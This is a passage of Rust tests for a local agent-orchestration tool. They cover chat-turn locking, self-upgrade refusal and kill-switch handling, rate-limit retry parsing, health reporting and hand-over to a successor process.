21621 let q = consult_question(&ui);
21622 let talk = ui.talks.get(&id).expect("talk");
21623 let started = tmp.path().join("started");
21624 let release = tmp.path().join("release");
21625 let script = tmp.path().join("consult-agent.sh");
21626 std::fs::write(
21627 &script,
21628 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21629 )
21630 .expect("script");
21631 let mut cfg = stub_config();
21632 cfg.agents[0].id = "mock".to_owned();
21633 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21634 cfg.agents[0].env = std::collections::BTreeMap::from([
21635 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21636 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21637 ]);
21638 let questions = ui.questions.clone();
21639 let cli_talks = Talks::at(ui.home.join("talks"));
21640 let cli_q = q.clone();
21641 let turn = tokio::spawn(async move {
21642 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21643 });
21644 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21645 while !started.exists() {
21646 tokio::time::sleep(Duration::from_millis(10)).await;
21647 }
21648 })
21649 .await;
21650 let refusal = if ready.is_ok() {
21653 let before = consult_snapshot(&ui, &q, &id);
21654 let result = talk_say(
21655 State(Arc::clone(&ui)),
21656 Path(id.clone()),
21657 Ok(Json(NewTalkTurn {
21658 reply_to: None,
21659 text: "another message".to_owned(),
21660 attachments: Vec::new(),
21661 })),
21662 )
21663 .await;
21664 Some((result, before, consult_snapshot(&ui, &q, &id)))
21665 } else {
21666 None
21667 };
21668 std::fs::write(&release, "").expect("release agent");
21669 let done = turn.await.expect("join CLI turn");
21670 ready.expect("agent started before deadline");
21671 let (result, before, after) = refusal.expect("web request");
21672 let error = result.expect_err("web must refuse the CLI's turn");
21673 assert_eq!(error.status, StatusCode::CONFLICT);
21674 assert!(error.message.contains("a turn is already running"));
21675 assert_eq!(
21676 after, before,
21677 "refusal preserves question, draft and history"
21678 );
21679 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21680 let guard = ui
21681 .begin_talk_turn(&id)
21682 .expect("web claim")
21683 .expect("free again");
21684 drop(guard);
21685 }
21686
21687 #[test]
21688 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21689 let home = TempDir::new().expect("temp home");
21690 let talks = Talks::at(home.path().join("talks"));
21691 let ui = Ui::new(
21692 Queue::at(home.path().join("queue")),
21693 Questions::at(home.path().join("questions")),
21694 talks.clone(),
21695 home.path().join("runs"),
21696 home.path().to_path_buf(),
21697 PathBuf::from("/repo"),
21698 )
21699 .with_worktrees_root(home.path().join("wt"));
21700 let id = "20260901-000000-order";
21701 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21702 let slots = ui.talk_turns.lock().unwrap();
21704 let dropper = std::thread::spawn(move || drop(turn));
21705 let start = std::time::Instant::now();
21706 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21707 std::thread::sleep(Duration::from_millis(5));
21708 }
21709 assert!(!talks.turn_held(id), "the lease is released first");
21710 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21711 drop(slots);
21712 dropper.join().expect("join");
21713 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21714 }
21715
21716 #[tokio::test]
21717 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21718 let fx = Fixture::start().await;
21719 let mut beat = crate::daemon::Status::new();
21723 beat.pid = 4321;
21724 beat.updated_at = jiff::Timestamp::now();
21725 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21726 .expect("publish a heartbeat");
21727
21728 let res = fx.post("/api/upgrade", None).await;
21729 assert_eq!(res.status, 409);
21730 let err = res.json()["error"].as_str().unwrap().to_owned();
21731 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21732 assert!(err.contains("old one against the same queue"), "{err}");
21733 }
21734
21735 #[test]
21742 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21743 assert!(!should_spawn_recheck(&crate::config::Update {
21744 mode: UpdateMode::Off,
21745 interval: None,
21746 }));
21747
21748 unsafe {
21751 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21752 }
21753 let killed = should_spawn_recheck(&crate::config::Update {
21754 mode: UpdateMode::Notify,
21755 interval: None,
21756 });
21757 unsafe {
21758 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21759 }
21760 assert!(
21761 !killed,
21762 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21763 one-time startup check"
21764 );
21765
21766 assert!(should_spawn_recheck(&crate::config::Update {
21767 mode: UpdateMode::Notify,
21768 interval: None,
21769 }));
21770 }
21771
21772 #[test]
21778 fn recheck_poll_period_tracks_a_short_configured_interval() {
21779 let short = crate::config::Update {
21780 mode: UpdateMode::Notify,
21781 interval: Some("1m".to_owned()),
21782 };
21783 let period = recheck_poll_period(&short);
21784 assert!(
21785 period <= Duration::from_secs(30),
21786 "a one-minute interval must wake the task far sooner than the \
21787 default ceiling, or the deck would not notice within the \
21788 interval the operator configured: got {period:?}"
21789 );
21790
21791 let default = crate::config::Update {
21792 mode: UpdateMode::Notify,
21793 interval: None,
21794 };
21795 assert_eq!(
21796 recheck_poll_period(&default),
21797 UPDATE_RECHECK_POLL_MAX,
21798 "the default day-long interval should poll at the (capped) \
21799 ceiling rather than needlessly often"
21800 );
21801 }
21802
21803 #[test]
21811 fn recheck_skips_the_network_before_the_interval_elapses() {
21812 let dir = TempDir::new().expect("temp dir");
21813 let path = dir.path().join("state.json");
21814 let state = kaishin::UpdateCheckState {
21815 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21816 last_known_latest: None,
21817 last_known_url: None,
21818 };
21819 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21820
21821 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21822 assert!(
21823 !update_recheck_due(&checker, None),
21824 "a check made moments ago must not be repeated before the \
21825 configured interval elapses"
21826 );
21827 }
21828
21829 #[test]
21835 fn recheck_defers_to_an_upgrade_already_in_flight() {
21836 let dir = TempDir::new().expect("temp dir");
21837 let path = dir.path().join("state.json");
21838 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21839 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21840
21841 assert!(
21842 !update_recheck_due(&checker, Some(&progress)),
21843 "a recheck must not run while an upgrade this deck started is \
21844 still moving"
21845 );
21846 }
21847
21848 #[tokio::test]
21849 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21850 unsafe {
21862 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21863 }
21864 let fx = Fixture::start().await;
21865 let res = fx.post("/api/upgrade", None).await;
21866 unsafe {
21867 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21868 }
21869 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21870 let body = res.json();
21871 assert!(body["to"].is_null(), "there was no release to move to");
21872 assert!(body["parked"].is_null(), "and nothing was parked");
21873 assert!(
21874 body["detail"]
21875 .as_str()
21876 .unwrap()
21877 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21878 "{body:?}"
21879 );
21880 }
21881
21882 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21883 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21884 p.stage = stage;
21885 p
21886 }
21887
21888 #[test]
21889 fn busy_stages_match_the_ui_set() {
21890 use crate::updater::Stage;
21891 assert!(APP_JS.contains(
21892 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21893 ));
21894 for s in [
21895 Stage::Downloading,
21896 Stage::Replaced,
21897 Stage::Parking,
21898 Stage::Restarting,
21899 ] {
21900 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21901 }
21902 for s in [Stage::Done, Stage::Failed] {
21903 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21904 }
21905 assert!(upgrade_in_motion(None).is_none());
21906 }
21907
21908 #[tokio::test]
21909 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21910 use crate::updater::Stage;
21911 for stage in [
21912 Stage::Downloading,
21913 Stage::Replaced,
21914 Stage::Parking,
21915 Stage::Restarting,
21916 ] {
21917 let fx = Fixture::start().await;
21918 let seeded = seeded_progress(stage);
21919 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21920 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21921 .expect("read");
21922
21923 let res = fx.post("/api/upgrade", None).await;
21924 assert_eq!(res.status, 409, "{stage:?}");
21925 let err = res.json()["error"].as_str().unwrap().to_owned();
21926 assert!(err.contains("already in progress"), "{err}");
21927 assert!(err.contains(stage.as_str()), "{err}");
21928
21929 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21930 .expect("read");
21931 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21932 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21933 .unwrap_or_default();
21934 assert!(!log.contains("signalling HANDOVER"), "{log}");
21935 }
21936 }
21937
21938 #[test]
21939 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21940 assert_eq!(
21941 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21942 Some(3723)
21943 );
21944 assert_eq!(
21945 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21946 Some(60)
21947 );
21948 assert_eq!(
21949 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21950 Some(0)
21951 );
21952 for message in [
21953 "permission denied",
21954 "GitHub API rate limit exceeded",
21955 "GitHub rate limit (resets in unknown)",
21956 "GitHub rate limit (resets in 18446744073709551615d)",
21957 ] {
21958 assert_eq!(upgrade_retry_after(message), None, "{message}");
21959 }
21960 }
21961
21962 #[tokio::test]
21963 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21964 let home = TempDir::new().unwrap();
21965 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21966 ui.start_loop(None).unwrap();
21967 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21968 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21969 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21970 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21971 let response = finish_upgrade_request(&ui, result);
21972 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21973 assert_eq!(response.headers()["retry-after"], "120");
21974 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21975 .await
21976 .unwrap();
21977 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21978 assert!(body["error"].as_str().unwrap().contains(reason));
21979 assert_eq!(body["retry_after_secs"], 120);
21980 assert!(body["retry_at"].as_u64().is_some());
21981 for _ in 0..2 {
21982 let view = health(State(ui.clone())).await.unwrap().0;
21983 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21984 assert_eq!(failure, body);
21985 }
21986 assert_eq!(
21987 std::fs::read(updater::progress_path(home.path())).unwrap(),
21988 before
21989 );
21990 assert!(!ui.lock_loop().resume_after_handover);
21991 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21992 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21993 let gate = ui.upgrade_gate.lock().await;
21995 assert_eq!(
21996 upgrade_post(State(ui.clone())).await.status(),
21997 StatusCode::CONFLICT
21998 );
21999 drop(gate);
22000 assert!(
22001 health(State(ui.clone()))
22002 .await
22003 .unwrap()
22004 .0
22005 .upgrade_request_error
22006 .is_some()
22007 );
22008 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22009 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22010 assert!(
22011 health(State(ui.clone()))
22012 .await
22013 .unwrap()
22014 .0
22015 .upgrade_request_error
22016 .is_none()
22017 );
22018 let live = ui.lock_loop().live.take().unwrap();
22019 live.stop.stop();
22020 live.handle.await.unwrap();
22021 }
22022
22023 #[tokio::test]
22024 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22025 use crate::updater::Stage;
22026 let repo = TempDir::new().expect("repo dir");
22027 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22028 .expect("write magi.toml");
22029 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22030 for stage in [Stage::Done, Stage::Failed] {
22031 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22032 let res = fx.post("/api/upgrade", None).await;
22033 assert_eq!(res.status, 200, "{stage:?}");
22034 }
22035 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22037 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22038 }
22039
22040 #[tokio::test]
22041 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22042 let repo = TempDir::new().expect("repo dir");
22058 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22059 .expect("write magi.toml");
22060 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22061
22062 let res = fx.post("/api/upgrade", None).await;
22068 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22069 let body = res.json();
22070 assert!(body["to"].is_null(), "there was no release to move to");
22071 assert!(body["parked"].is_null(), "and nothing was parked");
22072 assert!(
22073 body["detail"]
22074 .as_str()
22075 .unwrap()
22076 .contains("nothing restarted"),
22077 "{body:?}"
22078 );
22079 }
22080
22081 #[tokio::test]
22082 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22083 let repo = TempDir::new().expect("repo dir");
22088 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22089 .expect("write magi.toml");
22090 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22091
22092 let health = fx.get("/api/health").await.json();
22093 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22094 assert_eq!(
22095 health["update"]["available"], false,
22096 "checking is off, which reads as \"unknown\", not \"none\""
22097 );
22098 assert!(health["update"]["to"].is_null());
22099 assert!(
22100 health["upgrade"].is_null(),
22101 "nothing has ever asked this deck to upgrade"
22102 );
22103 }
22104
22105 #[tokio::test]
22106 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22107 let fx = Fixture::start().await;
22108 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22109
22110 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22111 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22112 progress.advance(crate::updater::Stage::Parking);
22113 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22114
22115 let health = fx.get("/api/health").await.json();
22116 assert_eq!(health["upgrade"]["stage"], "parking");
22117 assert_eq!(health["upgrade"]["from"], "0.5.1");
22118 assert_eq!(health["upgrade"]["to"], "0.5.2");
22119 let waiting_on = health["upgrade"]["waiting_on"]
22120 .as_str()
22121 .expect("waiting_on is set while parking a known run");
22122 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22123 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22124 }
22125
22126 #[tokio::test]
22127 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22128 let fx = Fixture::start().await;
22129 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22130 progress.advance(crate::updater::Stage::Done);
22131 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22132
22133 let health = fx.get("/api/health").await.json();
22134 assert_eq!(health["upgrade"]["stage"], "done");
22135 assert!(
22136 health["upgrade"]["waiting_on"].is_null(),
22137 "nothing to wait on once it is done"
22138 );
22139 }
22140
22141 #[tokio::test]
22142 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
22143 let home = TempDir::new().expect("temp home");
22144 let runs = home.path().join("runs");
22145 std::fs::create_dir_all(&runs).expect("runs dir");
22146 let ui = Ui::new(
22147 Queue::at(home.path().join("queue")),
22148 Questions::at(home.path().join("questions")),
22149 Talks::at(home.path().join("talks")),
22150 runs,
22151 home.path().to_path_buf(),
22152 PathBuf::from("/repo/magi"),
22153 )
22154 .with_launch(launch_idle);
22155 let looping = ui.looping();
22156 let turns = ui.turns();
22157 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22158 .await
22159 .expect("bind loopback");
22160 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22161
22162 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22163 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22164
22165 hand_over(
22166 home.path(),
22167 &looping,
22168 &turns,
22169 &|_: &[String]| Duration::from_secs(5),
22170 served,
22171 |_| Ok(1),
22172 )
22173 .await
22174 .expect("hand over");
22175
22176 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
22177 assert_eq!(
22178 after.stage,
22179 crate::updater::Stage::Restarting,
22180 "hand_over owns the record through parking and up to restarting; \
22181 the successor is what finishes it"
22182 );
22183 }
22184
22185 #[tokio::test]
22188 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
22189 for fail in [false, true] {
22190 let home = TempDir::new().expect("temp home");
22191 let ui = idle_ui(&home);
22192 let looping = ui.looping();
22193 let turns = ui.turns();
22194 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22195 .await
22196 .expect("bind loopback");
22197 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22198 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22199 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22200
22201 let calls = std::sync::atomic::AtomicUsize::new(0);
22202 let outcome = hand_over(
22203 home.path(),
22204 &looping,
22205 &turns,
22206 &|_: &[String]| Duration::from_secs(5),
22207 served,
22208 |_| {
22209 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22210 if fail {
22211 anyhow::bail!("no exec")
22212 } else {
22213 Ok(4242)
22214 }
22215 },
22216 )
22217 .await;
22218 assert_eq!(outcome.is_err(), fail);
22219 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22220
22221 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22222 .expect("upgrade.log is written under the home");
22223 for step in [
22224 "entered",
22225 "finish_loop",
22226 "listener released",
22227 "starting the successor",
22228 ] {
22229 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22230 }
22231 assert!(
22232 log.contains(if fail { "did not start" } else { "pid 4242" }),
22233 "{log}"
22234 );
22235 }
22236 }
22237
22238 #[tokio::test]
22241 async fn the_handover_signal_wakes_one_waiter_once() {
22242 let signal = Notify::new();
22243 signal.notify_one();
22245 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22246 .await
22247 .expect("an early signal is still seen");
22248 assert!(
22250 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22251 .await
22252 .is_err(),
22253 "a consumed signal must not wake a second time"
22254 );
22255 let signal = std::sync::Arc::new(signal);
22257 let waiter = tokio::spawn({
22258 let signal = std::sync::Arc::clone(&signal);
22259 async move { wait_for_handover(&signal).await }
22260 });
22261 tokio::time::sleep(Duration::from_millis(20)).await;
22262 assert!(!waiter.is_finished(), "nothing was signalled yet");
22263 signal.notify_one();
22264 tokio::time::timeout(Duration::from_secs(5), waiter)
22265 .await
22266 .expect("a late signal wakes the waiter")
22267 .expect("join");
22268 }
22269
22270 #[tokio::test]
22271 async fn health_says_how_long_a_handover_has_been_stuck() {
22272 let fx = Fixture::start().await;
22273 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22274 progress.advance(crate::updater::Stage::Replaced);
22275 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22276 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22277
22278 let health = fx.get("/api/health").await.json();
22279 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22280 assert!(stuck >= 600, "{stuck}");
22281 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22282 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22283 }
22284
22285 #[tokio::test]
22286 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22287 let home = tempfile::tempdir().expect("temp home");
22288 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22289 progress.advance(crate::updater::Stage::Parking);
22290 crate::updater::write_progress(home.path(), &progress).expect("seed");
22291 let mut again = progress.clone();
22293 again.advance(crate::updater::Stage::Replaced);
22294 crate::updater::write_progress(home.path(), &again).expect("replaced");
22295 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22296 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22297 let after = crate::updater::read_progress(home.path()).expect("record");
22298 assert_eq!(after.stage, crate::updater::Stage::Parking);
22299 }
22300
22301 #[tokio::test]
22302 async fn health_does_not_call_a_live_parking_wait_stuck() {
22303 let fx = Fixture::start().await;
22304 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22305 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22306 progress.advance(crate::updater::Stage::Parking);
22307 let hours = Duration::from_secs(3 * 3600);
22308 progress.started_at = Timestamp::now() - hours;
22309 progress.updated_at = Timestamp::now() - hours;
22310 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22311 let _lease = crate::updater::LeaseGuard::enter(
22312 fx.home.path(),
22313 Some("20260905-000000-cd51".to_owned()),
22314 );
22315
22316 let health = fx.get("/api/health").await.json();
22317 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22318 assert!(health["upgrade"]["stuck_kind"].is_null());
22319 assert_eq!(health["upgrade"]["handover_alive"], true);
22320 let waiting_on = health["upgrade"]["waiting_on"]
22321 .as_str()
22322 .expect("waiting_on");
22323 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22324 }
22325
22326 fn idle_ui(home: &TempDir) -> Ui {
22327 let runs = home.path().join("runs");
22328 std::fs::create_dir_all(&runs).expect("runs dir");
22329 Ui::new(
22330 Queue::at(home.path().join("queue")),
22331 Questions::at(home.path().join("questions")),
22332 Talks::at(home.path().join("talks")),
22333 runs,
22334 home.path().to_path_buf(),
22335 PathBuf::from("/repo/magi"),
22336 )
22337 .with_launch(launch_idle)
22338 }
22339
22340 async fn park_fixture(
22341 home: &TempDir,
22342 ) -> (
22343 Ui,
22344 Arc<Mutex<LoopState>>,
22345 Arc<Mutex<TalkTurns>>,
22346 tokio::task::JoinHandle<std::io::Result<()>>,
22347 ) {
22348 let ui = idle_ui(home);
22349 let looping = ui.looping();
22350 let turns = ui.turns();
22351 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22352 .await
22353 .expect("bind loopback");
22354 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22355 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22356 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22357 (ui, looping, turns, served)
22358 }
22359
22360 #[tokio::test]
22364 async fn hand_over_waits_for_a_running_chat_turn() {
22365 let home = TempDir::new().expect("temp home");
22366 let (ui, looping, turns, served) = park_fixture(&home).await;
22367 let ui = Arc::new(ui);
22368 let id = "20260901-000000-chat";
22369 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22370
22371 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22372 let handover = tokio::spawn({
22373 let home = home.path().to_path_buf();
22374 let turns = Arc::clone(&turns);
22375 let calls = Arc::clone(&calls);
22376 async move {
22377 hand_over(
22378 &home,
22379 &looping,
22380 &turns,
22381 &|_: &[String]| Duration::from_secs(60),
22382 served,
22383 move |_| {
22384 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22385 Ok(1)
22386 },
22387 )
22388 .await
22389 }
22390 });
22391
22392 let waiting = async {
22393 for _ in 0..200 {
22394 if crate::updater::read_progress(home.path())
22395 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22396 {
22397 return;
22398 }
22399 tokio::time::sleep(Duration::from_millis(25)).await;
22400 }
22401 panic!("the park never named the chat turn");
22402 };
22403 waiting.await;
22404 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22405
22406 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22409 assert!(
22410 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22411 "a direct start says an upgrade is in progress"
22412 );
22413 assert!(
22414 ui.begin_queued_talk_turn("20260901-000000-late")
22415 .expect("queued claim")
22416 .is_none()
22417 );
22418 assert!(matches!(
22419 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22420 .expect("start"),
22421 TalkTurnStart::Busy
22422 ));
22423 assert_eq!(turns.lock().unwrap().live.len(), 1);
22424
22425 let progress = crate::updater::read_progress(home.path()).expect("progress");
22427 let view = upgrade_progress_view(&ui, progress);
22428 assert!(
22429 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22430 "{:?}",
22431 view.waiting_on
22432 );
22433
22434 assert!(!handover.is_finished());
22435 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22436 drop(turn);
22437 handover.await.expect("join").expect("hand over");
22438 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22439 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22440 }
22441
22442 #[tokio::test]
22445 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22446 let home = TempDir::new().expect("temp home");
22447 let (ui, looping, turns, served) = park_fixture(&home).await;
22448 let ui = Arc::new(ui);
22449 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22451 lock_or_recover(&looping).live = Some(Live {
22452 stop: daemon::Stop::new(),
22453 handle: tokio::spawn(async move {
22454 let _ = loop_ended.await;
22455 }),
22456 opts: daemon::Opts::default(),
22457 });
22458
22459 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22460 let handover = tokio::spawn({
22461 let home = home.path().to_path_buf();
22462 let turns = Arc::clone(&turns);
22463 let calls = Arc::clone(&calls);
22464 async move {
22465 hand_over(
22466 &home,
22467 &looping,
22468 &turns,
22469 &|_: &[String]| Duration::from_secs(60),
22470 served,
22471 move |_| {
22472 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22473 Ok(1)
22474 },
22475 )
22476 .await
22477 }
22478 });
22479
22480 let reached = async {
22481 for _ in 0..200 {
22482 if crate::updater::read_progress(home.path())
22483 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22484 {
22485 return;
22486 }
22487 tokio::time::sleep(Duration::from_millis(25)).await;
22488 }
22489 panic!("the hand-over never reached parking");
22490 };
22491 reached.await;
22492
22493 assert!(!turns.lock().unwrap().parking);
22495 let turn = ui
22496 .begin_talk_turn("20260901-000000-chat")
22497 .expect("claim")
22498 .expect("a turn can start while the loop parks");
22499
22500 end_loop.send(()).expect("loop still waiting");
22502 for _ in 0..200 {
22503 if turns.lock().unwrap().parking {
22504 break;
22505 }
22506 tokio::time::sleep(Duration::from_millis(25)).await;
22507 }
22508 assert!(
22509 turns.lock().unwrap().parking,
22510 "closed once the loop is done"
22511 );
22512 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22513 assert!(
22514 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22515 "no turn starts once the loop is done"
22516 );
22517 assert!(
22518 ui.begin_queued_talk_turn("20260901-000000-late")
22519 .expect("queued claim")
22520 .is_none()
22521 );
22522 assert!(!handover.is_finished());
22523 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22524
22525 drop(turn);
22526 handover.await.expect("join").expect("hand over");
22527 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22528 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22529 }
22530
22531 #[tokio::test]
22534 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22535 let home = TempDir::new().expect("temp home");
22536 let (ui, looping, turns, served) = park_fixture(&home).await;
22537 let id = "20260901-000000-stuk";
22538 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22539
22540 let calls = std::sync::atomic::AtomicUsize::new(0);
22541 hand_over(
22542 home.path(),
22543 &looping,
22544 &turns,
22545 &|_: &[String]| Duration::from_millis(300),
22546 served,
22547 |_| {
22548 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22549 Ok(1)
22550 },
22551 )
22552 .await
22553 .expect("hand over");
22554 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22555
22556 let progress = crate::updater::read_progress(home.path()).expect("progress");
22557 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22558 assert!(
22559 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22560 "{:?}",
22561 progress.detail
22562 );
22563 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22564 assert!(
22565 log.contains("handing over anyway") && log.contains(id),
22566 "{log}"
22567 );
22568 }
22569
22570 #[tokio::test]
22573 async fn drain_loop_starts_no_turn_while_parking() {
22574 let tmp = TempDir::new().expect("tempdir");
22575 let repo = tmp.path().join("repo");
